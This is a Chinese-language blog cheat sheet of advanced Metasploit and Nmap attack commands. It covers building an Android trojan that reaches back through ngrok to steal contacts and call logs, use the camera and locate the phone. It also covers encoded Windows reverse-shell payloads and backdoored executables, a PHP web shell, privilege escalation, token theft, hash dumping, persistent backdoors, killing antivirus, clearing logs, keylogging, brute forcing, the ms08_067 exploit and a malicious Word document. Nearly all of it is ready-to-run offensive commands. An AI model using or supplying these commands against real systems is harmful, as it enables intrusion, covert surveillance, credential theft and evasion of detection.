Metasploit进阶

metasploit之端口扫描

msfconsole下启动nmap进行端口扫描
msf > nmap -v sV IP
msf > search portscan
msf > use auxiliary/scanner/portscan/syn 
msf > use auxiliary/scanner/portscan/tcp
msf > use auxiliary/scanner/smb/smb_version
msf > use auxiliary/scanner/ftp/ftp_version

metasploit木马远控

metasploit之安卓木马结合ngrok远控

msfvenom -p android/meterpreter/reverse_tcp LHOST=free.ngrok.cc LPORT=11*** R > /root/Desktop/123.apk


keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000                     执行下列命令签名。首先使用密钥工具创建密钥库
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore 123.apk aliasname              然后使用JARsigner签名APK
jarsigner -verify -verbose -certs 123.apk            再用JARsigner验证签名
use exploit/multi/handler 
Set PAYLOAD android/meterpreter/reverse_tcp 
SET LHOST 192.168.253.128(Kali的Linux内网IP) 
SET LPORT 2222(隧道的端口号)

常用命令

search 搜索 search -f *.jpg
download
webcam_stream -i 1/2 打开前置或后置摄像头
check_root 检测root
dump_calllog 下载电话记录
dump_contacts 下载信息记录
geolocate 定位,需要下载谷歌地图


metasploit之木马生成

msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp –e x86/shikata_ga_nai -b ‘\x00’ -f python         生成一个window木马返回shell   -p window平台正向链接 -e 编码 -b 字符列表 -f 平台
两次弹框:payload
msfvenom -a x86 --platform windows -p windows/messagebox TEXT=MSFU Example -f raw > messageBox
msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT=“We are evil” -f raw > messageBox2

msfvenom -c messageBox2 -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.211.179 LPORT=4444  -f exe -o andy.exe

msfvenom -a x86 --platform windows -x 1.exe -k -p windows/meterpreter/reverse_tcp  LHOST=192.168.211.179 LPORT=4444  –b “\ x00” -f exe -o 2.exe    -k 保留exe的行为  -x 指定一个文件 -p 保留模版行为 -o 保留为2.exe

metasploit之shellcode

metasploit之powershell

use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 2
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run

metasploit之PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 172.17.150.246
set LPORT 8888
exploit -j


metasploit之shellcode

msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=60.205.212.140 -e x86/shikata_ga_nai -i 11 -f py > 1.py //-e 使用编码 -i 编码次数


metasploit之提权

1.getsystem

meterpreter > getsystem //直getsystem提权,最常用简单的办法


2.使用exp提权

meterpreter > background //先后台运行会话
[*] Backgrounding session 1…
msf > use post/windows/escalate/ms10_073_kbdlayout
msf > show options
msf > set session 1 //设置要使用的会话
msf post(ms10_073_kbdlayout) > exploit
注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。
或者直接:
meterpreter > run post/windows/escalate/ms10_073_kbdlayout


3.盗取令牌

meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠


注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。


4.Bypassuac

msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
msf > show options
msf > set session 4
msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权


5.Hash

meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。

6.漏洞提权的匹配

use post/multi/recon/local_exploit_suggester
use exploit/windows/local/bypassuac_fodhelper
set payload windows/meterpreter/reverse_tcp

建立持久后门

1.服务启动后门

meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
msf > run //获取到的会话是system权限


2.persistence

meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105
// -X 系统开机自启,-i 10 10秒重连一次,-p 监听端口,-r 监听机。直接监听就好了,他自己会链接回来。
注意到移除 persistence 后门的办法是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 中的注册表键和 C:\WINDOWS\TEMP\ 中的 VBScript 文件。
缺点:容易被杀毒软件杀 。


漏洞扫描

1.mssql开发利用

对各个ip是否有mssql服务的探测
use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
show options
set rhosts 192.168.2.1-255
set threads 30
exploit
对扫描到的ip进行爆破
use scanner/mssql/mssql_login //具体配置show options。
sa权限对其利用
use admin/mssql/mssql_exec
set rhost 192.168.2.10
set password sa
set CMD cmd.exe /c echo hello
exploit

2.爆破ssh模块

use auxiliary/scanner/ssh/ssh_login
set rhosts 7.7.7.20
set username root
set pass_file /root/pass.txt //加载字典,可以收集密码做字典
set threads 50
run

3.通过nmap扫描基本漏洞:

msf > nmap –script=vuln 受害靶机ip地址
msf > nmap –script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等..

4.445端口扫描系统信息

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.211.1-200
run

5.密码嗅探

use auxiliary/sniffer/psnuffle 

6.SNMP扫描和枚举

use auxiliary/scanner/snmp/snmp_login

7.VNC身份验证

use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.211.137
set threads 100
run

8.FTP 主机扫描: 

msf> use auxiliary/scanner/ftp/ftp_version 
show options 
set RHOSTS 192.168.1.0/24 
set THREADS 255 
run 

9.扫描FTP 匿名登录: 

use auxiliary/scanner/ftp/anonymos 
set RHOSTS 192.168.1.0/24 
set THREADS 50 
run 

10.VNC 空口令: 

msf> use auxiliary/scanner/vnc/vnc_none_auth 
set RHOSTS 192.168.1.111 
run 

11.Open X11 空口令: 

msf> use auxiliary/scanner/x11/open_x11 
set RHOST 192.168.1.0/24 
set THREADS 50 
run 

12.清除记录

msf > clearev //删除目标机上的应用程序、系统和安全日志。


溢出漏洞

1.ms08_067

use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp 
set RHOST 192.168.211.137
set LHOST 192.168.211.137
set threads 100
run


2.ms12_004

use exploit/windows/smb/ms08_067_netapi


3.ms14_002内核提权(使用于32bit)

exploit/windows/local/ms_ndproxy
set session 2
//设置一个选项或取消设置set/unset 
设置或取消全局选项setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置 
保存全局选项的设置save 当下次启动仍然生效 


4.使用用户端攻击方式(client-side attacks) 

①主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览 
器,pdf 阅读器,office 软件等,最终获取系统权限。

msf> use windows/browser/ms10_002_aurora 
set payload windows/meterpreter/reverse_tcp 
set SRVPORT 80 
set URIPATH / 
set LHOST 192.168.211.179
set LPORT 443 
exploit –z 
sessions –i 1 
run migrate 


②文件格式exploit 

利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。 
例子: 
msf> use windows/fileformat/ms11_006_createsizeddibsection 
info 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.211.179
set LPORT 443 
exploit 
此时会生成一个msf.doc 的word 文档,在目标机器上打开此文档,然后本机监听端口 
等待反弹连接: 
use multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.211.179 
set LPORT 443 
exploit –j

METERPRETER 渗透

当对目标系统进行溢出时,使用meterpreter 作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作


msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务 
假如已经探测到1433(TCP)和1434(UDP)端口(mssql), 
msf> nmap –sU 192.168.1.130 –P 1434   #确认端口开放 
msf> use auxiliary/scanner/mssql/mssql_ping 
show options 
set RHOSTS 192.168.1.1/24 
set THREADS 20 
exploit 
至此可获取服务器名称,版本号等信息。 


msf> use auxiliary/scanner/mssql/mssql_login 
show options 
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt 
set RHOSTS 192.168.1.130 
set THREADS 10 
set verbose false 
exploit 


Meterpreter域渗透

meterpreter> run get_local_subnets #查看网段/子网 
Local subnet: 192.168.33.0/255.255.255.0 
meterpreter> background #转入后台运行 
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息 
msf> route print #查看添加的信息 
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻 
set payload linux/x86/shell/reverse_tcp 
set LHOST 10.10.1.129 #此处为attacking 主机的外网IP 
set LPORT 8080 
set RHOST 192.168.33.132 #内网目标主机 
exploit 
也可以使用自动式添加路由模块: 
msf> load auto_add_route 
msf> exploit


Meterpreter 脚本

1.vnc 脚本,获取远程机器vnc 界面控制 

meterpreter> run vnc 
meterpreter> run screen_unlock 

2.进程迁移

meterpreter> run post/windows/manage/migrate 
//在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的 
权限是有差异的

3.关闭杀毒软件 

meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

4.获取系统密码hash

run hashdump //64 位win7 下需要管理员权限执行后门且先getsystem,然后使用 
run post/windows/gather/hashdump 来dump hash 成功率更高

5.获取系统流量数据 

meterpreter> run packtrecorder –i 1 

6.获取密码,下载注册表,获取系统信息等

meterpreter> run scraper 

7.持久化

meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111 
//-X 开机启动-i 连接超时时间–p 端口–rIP 

8.POST 整合模块 

meterpreter> run post/windows/gather/hashdump 

9.升级command shell 

msfconsole 
msf> search ms08_067 
msf> use windows/smb/ms08_067_netapi 
set PAYLOAD windows/shell/reverse_tcp 
set TARGET 3 
setg LHOST 192.168.1.111 
setg LPORT 8080 
exploit –z #后台运行,如果此处未使用-z 参数,后面可以按CTRL-Z 转到后台 
sessions –u 1 #升级shell,必须前面使用setg 设定 
sessions –i 2
10.使用Railgun 操作windows APIs 
meterpreter> irb
client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”) 

在目标机器上会弹出一个标题栏为world 和内容为hello 的窗口

Metasploit结合Nmap(lua语言)

nmap -sS -p 3389 -oG- 221.0.90.0/24 | grep open     显示3389端口开放的主机
nmap --script=default 192.168.211.137         搜集各种应用服务的信息
nmap --script=vuln 192.168.211.137
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.211.137  smb已知几个严重漏洞
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4  xp_cmdshell 执行命令
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa  192.168.137.4  dumphash值
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4 列出所有mysql用户
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target    MAC地址欺骗
nmap -p80 --script http-brute --script-args http-brute.path=/admin/ <target>暴力破解HTTP身份认证
nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>    使用自定义的字典
nmap --script http-brute --script-args brute.mode=user <target>用户模式:该模式下,对于userdb中的每个user,会尝试passdb里面的每个password
nmap --script http-brute --script-args brute.mode=pass <target>   密码模式:该模式下,对于passdb中的每个password,会尝试userdb里面的每个user
nmap -p80 --script http-default-accounts <target>   测试默认凭据
nmap -p80 --script http-wordpress-brute --script-args http-wordpressbrute.threads=5 <target>   WordPress审计
nmap -p80 --script http-joomla-brute <target>   Joomla审计
nmap -p80 --script http-waf-detect --script-args=”http-waf-detect.aggro” <target>检测Web应用防火墙
nmap -p80 --script http-unsafe-output-escaping <target>     检测跨站脚本漏洞
nmap -p80 --script http-sql-injection <target>      检测SQL注入
nmap -p80 --script http-sql-injection --script-args http.useragent=”Mozilla 42″ <target>    同样可以设置User Agent和HTTP管道的数目
nmap -sV --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor 192.168.195.130   列出数据库名称
nmap -sV --script=mysql-users 192.168.195.130   用户审计
sudo nmap --script mysql-empty-password 192.168.195.130     检查root空口令
nmap --script=mysql-brute localhost     暴力破解
nmap --script=mysql-info localhost      Mysql信息
nmap -p25 -Pn --script smtp-brute target        暴力破解SMTP密码
nmap -p80 --script=http-email-harvest target    谷歌搜索发现有效的电子邮件帐户
nmap –script=mysql-vuln-cve2012-2122 localhost      使用CVE-2012-2122


漏洞银行
nmap --script=struts_02-045.nse --script-args filename=***.jsp 192.168.211.137  查看某个网页有没有shell
nmap -p80,139,445 --script=smb-vul*
开始扫描→→主机发现→→端口扫描→→版本侦查→→OS侦测(系统)
主机发现:采用不同判断方式
端口扫描:通过正则匹配对比指纹
版本侦测:通过侦测banner(也就是状态码)
OS侦测  :nmap-os-db
Nmap Engine
开始扫描→→主机发现→→端口扫描→→nse脚本→→动作处理
嘶吼
cd /usr/share/nmap/scripts/   Nmap脚本目录
ls vulscan/*.csv  vulscan目录的根目录中查看这些数据库
cd /usr/share/nmap/scripts/utilities/updater/  ./updateFiles.sh  更新数据库
nmap --script nmap-vulners -sV <目标IP>     Nmap-Vulners进行扫描
nmap --script vulscan -sV <目标IP>    使用Vulscan进行扫描
nmap --script vulscan --script-args vulscandb=database_name -sV <目标IP>  
nmap --script vulscan --script-args vulscandb=scipvuldb.csv -sV <目标IP>  
nmap --script vulscan --script-args vulscandb=exploitdb.csv -sV <目标IP>  
nmap --script vulscan --script-args vulscandb=securitytracker.csv -sV <目标IP>  
nmap --script=http-vuln-cve2017-5638.nse 192.168.211.137


基本命令:

#1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
#2 初始化MSF数据库(关键步骤!):msfdb init;
#3 运行msfconsole:msfconsole;
#4 在msf中查看数据库连接状态:db_status。
如果不想每次开机都这样,还可以配置随系统启动
update-rc.d postgresql enable
update-rc.d metasploit enable


/usr/share/metasploit-framework      Kali中msf的路径为
/usr/share/metasploit-framework/scripts/resource/      脚本文件
/usr/share/metasploit-framework/modules/exploits/multi/http
常用命令:msfconsole -r /usr/share/metasploit-framework/scripts/resource/powershell.rc


netstat -anp |grep 端口            kill -9 PID//相当于windows下的
netstat -ano    netstat -aon|findstr "3306"   tasklist|findstr "4936"   taskkill /f /t /im spx.exe 结束进程
find / -name hamster.txt    寻找某个文件
find / -name hamster.txt找命令
apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y 源的更新与清理
apt-get install linux-headers-$(uname -r)     #linux内核更新
dpkg --add-architecture i386        .添加对32位的支持
ps 查看进程
migrate 注入进程  进程ID 一般选择explorer.exe对应的PID 
run vnc 查看远程桌面


文件操作
cat 查看文件
edit 编辑文件
upload 上传文件
download 下载文件
rm 删除文件
mkdir 创建文件夹
rmdir 删除文件夹


网络及系统操作
enumdesktops 在线用户数
uictl disable keyboard 让键盘失效 
uictl enable keyboard 恢复键盘  
record_mic -d 10 音频录制 录制10秒 
webcam_stream 开启摄像头
getsystem 获取最高权限
hashdump 密码hash


help 查看帮助 
run scriptname 运行脚本 
sysinfo 系统基本信息 
ls 列目录 
use priv 运行提权组件 
ps 列进程 
migrate PID PID 迁移 
use incognito token 窃取 
list_tokens -u 查看可用用户token 
list_tokens -g 查看可用组token 
impersonate_token DOMAIN_NAME\USERNAME 模仿token 
steal_token PID 窃取PID 所属token 并模仿 
drop_token 停止模仿token 
getsystem 获取SYSTEM 权限 
shell 运行shell 
execute -f cmd.exe -i 交互式运行cmd 
execute -f cmd.exe -i -t 使用可用token 运行 
execute -f cmd.exe -i -H -t 同上,同时隐藏进程 
rev2self 返回至初始用户 
reg command 修改注册表 
setkesktop number 切换至另一已登录用户屏幕 
screenshot 截屏 
upload file 上传文件 
download file 下载文件 
keyscan_start 开始截取击键记录 
keyscan_stop 停止截取击键记录 
getprivs 尽可能提升权限 
uictl enable keyboard/mouse 获取键盘或鼠标的控制权 
background 将当前meterpreter shell 转入后台 
hashdump 导出所有用户hash 
use sniffer 加载嗅探模块 
sniffer_interfaces 查看可用网卡接口 
sniffer_dump interfaceID pcapname 开始嗅探 
sniffer_start interfaceID packet-buffer 指定buffer 范围嗅探 
sniffer_stats interfaceID 抓取统计信息 
sniffer_stop interfaceID 停止嗅探 
add_user username password -h ip 添加用户 
add_group_user “Domain Admins” username -h ip 添加用户至管理组 
clearev 清空日志 
timestomp 改变文件属性如创建时间等 
reboot 重启


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值